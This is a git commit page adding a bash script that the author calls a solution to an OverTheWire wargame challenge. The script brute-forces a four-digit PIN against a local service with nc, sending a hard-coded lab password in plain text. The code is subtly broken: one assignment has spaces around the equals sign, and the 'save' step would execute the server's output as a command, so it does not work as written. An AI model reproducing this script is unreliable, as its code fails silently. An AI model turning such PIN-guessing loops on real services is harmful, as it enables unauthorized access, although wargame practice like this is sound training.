Added my solution foor an overthewire challenge
This commit is contained in:
parent
bfb884dcb4
commit
362187c838
14
overthewire/brutebuttfucker.sh
Normal file
14
overthewire/brutebuttfucker.sh
Normal file
@ -0,0 +1,14 @@
|
||||
#!/bin/bash
|
||||
|
||||
for i in {0000..9999};
|
||||
do
|
||||
vanlig=$(echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002)
|
||||
|
||||
result = $(echo "$vanlig" | grep -o "Correct!")
|
||||
|
||||
echo "trying $i | $result"
|
||||
|
||||
if [[ $result = "Correct!" ]]; then
|
||||
$vanlig > ./password.txt
|
||||
fi
|
||||
done
|
Loading…
Reference in New Issue
Block a user